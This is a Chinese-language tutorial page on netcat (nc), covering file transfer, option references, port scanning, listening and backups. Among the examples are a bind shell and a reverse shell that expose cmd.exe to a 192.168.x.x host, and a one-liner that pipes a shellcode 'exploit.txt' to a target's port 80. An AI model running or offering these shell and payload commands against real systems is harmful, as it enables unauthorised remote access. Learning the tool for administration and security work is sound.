【分享】linux下nc的使用

今天在饮水思源上闲逛,看到了一个贴子关于Linux下nc命来实现文件传输,进行学习了解了一下。
发送端:
cat test.txt | nc -l -p 6666
或者nc -l  -p 6666 < test.txt                    有些版本不要在 -p
【监听6666端口,等待连接】(设发送端IP为10.20.133.152)
接收端:
nc 10.20.133.152 6666 > test1.txt
如上面的操作,即可将文件test.txt从发送端传送到接收端,保存为test1.txt

想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]

语  法:nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文 件>][-p<通信端口>][-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端 口...]
补充说明:执行本指令可设置路由器的相关参数。
参  数:
-g<网关> 设置路由器跃程通信网关,最丢哦可设置8个。
-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。
-h 在线帮助。
-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用IP地址,而不通过域名服务器。
-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。
-p<通信端口> 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s<来源位址> 设置本地主机送出数据包的IP地址。
-u 使用UDP传输协议。
-v 显示指令执行过程。
-w<超时秒数> 设置等待连线的时间。
-z 使用0输入/输出模式,只在扫描通信端口时使用。

另外,nc命令也可用于端口扫描:
nc -v -z -w2 10.20.133.152 1-14000
可以扫描10.20.133.152主机上的1~14000号TCP端口;

nc -u -v -z -w2 10.20.133.152 1-14000
可以扫描10.20.133.152主机上的1~14000号UDP端口。

nc是一款很不错的网络检测工具,以下是详细使用。
‘nc.exe -h‘即可看到各参数的使用方法。
基本格式:nc [-options] hostname port [ports] ...
   nc -l -p port [options] [hostname] [port]
-d 后台模式
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point, up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时
端口的表示方法可写为M-N的范围格式。
1)连接到远程主机
格式:nc -nvv 192.168.x.x 80
讲解:连到192.168.x.x的TCP80端口
2)监听本地主机
格式:nc -l -p 80
讲解:监听本机的TCP80端口
3)扫描远程主机
格式:nc -nvv -w2 -z 192.168.x.x 80-445
讲解:扫描192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主机绑定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
5)REMOTE主机绑定SHELL并反向连接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
以上为最基本的几种用法(其实NC的用法还有很多,
当配合管道命令"|"与重定向命令"<"、">"等等命令功能更强大......)。
6)作攻击程序用,例子:
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
讲解:连接到192.168.x.x的80端口,并在其管道中发送‘c:\exploit.txt‘的内容(两种格式确有相同的效果,真是有异曲同工之妙:P)
附:‘c:\exploit.txt‘为shellcode等
7)作蜜罐用[1],例子:
格式:nc -L -p 80
讲解:使用‘-L‘(注意L是大写)可以不停地监听某一个端口,直到ctrl+c为止
8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:\log.txt
讲解:使用‘-L‘可以不停地监听某一个端口,直到ctrl+c为止,同时把结果输出到‘c:\log.txt‘中,如果把‘>‘
  改为‘>>‘即可以追加日志
附:‘c:\log.txt‘为日志等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:\honeypot.txt|nc -L -p 80
讲解:使用‘-L‘可以不停地监听某一个端口,直到ctrl+c为止,并把‘c:\honeypot.txt‘的内容‘送‘入其管道中!
10)备份档案
A机的资料夹 /data备份到B主机的backup.tgz
源主机: tar czf - work|nc -l -c -p 1234
目的主机: nc 192.168.0.1 1234 >a.tgz

A:tar -zcf data|nc -l -p 4444
B:nc a 4444 >backup.tgz
传完后ctrl+c中断连接,这样A主机不会生成档案直接传到了backup.tgz,缺点就是不知道啥时候传完,嘿嘿

时间: 2024-08-03 00:50:15

【分享】linux下nc的使用的相关文章

分享Linux下完美的Sublime Text解决方案

在linux下使用Sublime,最棘手的问题就是中文输入法的支持太差,我这里找到了一款已经被打好中文输入补丁的Sublime,在这里分享给大家: [Sublime Text 3065中文64位] 我分析了一下Sublime的中文补丁的用法,首先是Sublime开发团队发布的多语言补丁,可以编译为.so文件,然后使用linux下的LD_PRELOAD环境变量,将整个so文件预加载到sublime进程空间中. LD_PRELOAD=/usr/lib/sublime_text_3/sublime_t

Linux下nc的参数详解

想必接触linux下服务器编程的人一定用过一个一个功能强大且有着瑞士军刀美誉的短小精悍的命令nc吧.我们既可以用nc构建出服务器也可以用作客户端,而且我们可以通过它的各种参数来精准的控制一些传输与连接的细节,从而使它变得异常强大. nc命令的参数 参数 作用 -i 设置数据报传送时间间隔 -l 以服务器方式运行 -k 重复接收并处理某个端口上的所有连接,必须与-l选项一起使用 -n 使用ip地址表示主机,而不是主机名:使用数字表示端口,而不是服务名称 -p 当nc命令以客户端运行时,强制其使用端

Linux下nc传输文档

#接收端开一个接受监听,并指定端口 #接收端IP:8.8.8.8 nc -l 1234 > 1.txt #服务端向接收端IP指定端口发送文件 nc 8.8.8.8 1234 < 1.txt

Linux下nc命来实现文件传输

发送端:cat test.txt | nc -l -p 6666或者nc -l  -p 6666 < test.txt                    有些版本不要在 -p[监听6666端口,等待连接](设发送端IP为10.20.133.152)接收端:nc 10.20.133.152 6666 > test1.txt如上面的操作,即可将文件test.txt从发送端传送到接收端,保存为test1.txt

kail linux 下nc工具的基本使用(安全牛视频)

一.简介 nc是netcat的简写,有着网络界的瑞士×××美誉.因为它短小精悍.功能实用,被设计为一个简单.可靠的网络工具. nc 常用的命令有两个: 1.-v 输出详细的交互或者出错信息 2.-n 如果后面是ip地址不会进行dns解析 eg:nc -vn 192.168.11.11 8888 二.利用nc文本传输: 类似于socket一个作为服务端,一个作为客户端. 服务端命令:nc -l -p 端口 客户端命令: nc -vn ip port 拓展: 在电子取证的时候会用到.用 | 管道符将

分享在Linux下使用OSGi.NET插件框架快速实现一个分布式服务集群的方法

在这篇文章我分享了如何使用分层与模块化的方法来设计一个分布式服务集群.这个分布式服务集群是基于DynamicProxy.WCF和OSGi.NET插件框架实现的.我将从设计思路.目标和实现三方面来描述. 1 设计思路 首先,我来说明一下设计思路.我们先来看看目前OSGi.NET插件框架的服务.在这里,服务不是远程服务,它是轻量级的服务,由接口和实现类组成,如下图所示.服务契约插件定义了服务接口,服务实现插件向服务总线注册服务,服务调用插件利用服务契约(接口)从服务总线获取实现的服务并调用,服务实现

经验分享-关于在linux下删除大文件后,磁盘空间没有得到释放的解决办法

这个博客很早就注册啦,但是一直没有更新,最近辞职闭关清修,争取每天写一篇技术博客-- 闲话不多说,直接开始切入正题啦- 事情发生在2014年的4月份,人生中的第一次跳槽,成功的入职一家刚刚起步的 CDN的公司,做了一名不称职的研发运维,当时正好赶上前任运维离职,最开始公司之前用的是多squid,由于公司现在的团队中对squid比较了解的人都走光了,在加上多squid有一个严重的弊端,就是本机多个squid进程之间缓存的内容是无法共享的,有的时候同一个文件则会被缓存多分,十分浪费磁盘空间,由于本机

10.6 监控io性能 - 10.7 free命令 - 10.8 ps命令 - 10.9 查看网络状态 - 10.10 linux下抓包

- 10.6 监控io性能 - 10.7 free命令 - 10.8 ps命令 - 10.9 查看网络状态 - 10.10 linux下抓包 - 扩展tcp三次握手四次挥手 http://www.doc88.com/p-9913773324388.html  - tshark几个用法:http://www.aminglinux.com/bbs/thread-995-1-1.html  # 10.6 监控io性能 ![mark](http://oqxf7c508.bkt.clouddn.com/b

Linux下Nagios的安装与配置[转]

一.Nagios简介 Nagios是一款开源的电脑系统和网络监视工具,能有效监控Windows.Linux和Unix的主机状态,交换机路由器等网络设置,打印机等.在系统或服务状态异常时发出邮件或短信报警第一时间通知网站运维人员,在状态恢复后发出正常的邮件或短信通知. Nagios原名为NetSaint,由Ethan Galstad开发并维护至今.NAGIOS是一个缩写形式: "Nagios Ain't Gonna Insist On Sainthood" Sainthood 翻译为圣徒